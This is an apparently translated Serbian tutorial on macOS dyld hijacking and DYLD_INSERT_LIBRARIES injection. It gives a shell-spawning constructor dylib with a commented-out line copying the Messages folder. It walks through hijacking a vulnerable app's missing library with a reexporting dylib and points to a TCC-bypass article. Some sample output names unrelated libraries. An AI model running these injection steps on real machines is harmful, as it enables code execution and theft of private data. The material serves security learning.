macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

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DYLD_INSERT_LIBRARIES Osnovni primer

Biblioteka za injekciju za izvršavanje shel-a:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

Бинарни фајл за напад:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

Injection:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Dyld Hijacking Example

Ciljani ranjivi binarni fajl je /Applications/VulnDyld.app/Contents/Resources/lib/binary.

entitlements

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]

LC_RPATH

# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)

@rpath

# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan  1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions

Sa prethodnim informacijama znamo da ne proverava potpis učitanih biblioteka i da pokušava da učita biblioteku iz:

• /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib

• /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

Međutim, prva ne postoji:

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

Dakle, moguće je preuzeti kontrolu! Kreirajte biblioteku koja izvršava neki proizvoljni kod i izvozi iste funkcionalnosti kao legitimna biblioteka ponovnim izvoženjem. I zapamtite da je kompajlirate sa očekivanim verzijama:

lib.m

#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

Kompajlirajte to:

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

Putanja reeksporta kreirana u biblioteci je relativna prema učitavaču, hajde da je promenimo u apsolutnu putanju do biblioteke za izvoz:

#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

Na kraju, jednostavno ga kopirajte na otetu lokaciju:

cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

I izvršite binarni fajl i proverite da li je biblioteka učitana:

"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib je otet u /Applications/VulnDyld.app/Contents/Resources/lib/binary
Upotreba: [...]

Lep članak o tome kako iskoristiti ovu ranjivost za zloupotrebu dozvola za kameru u telegramu može se naći na https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/

Veća Skala

Ako planirate da pokušate da injektujete biblioteke u neočekivane binarne fajlove, možete proveriti poruke događaja da biste saznali kada se biblioteka učitava unutar procesa (u ovom slučaju uklonite printf i izvršavanje /bin/bash).

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'

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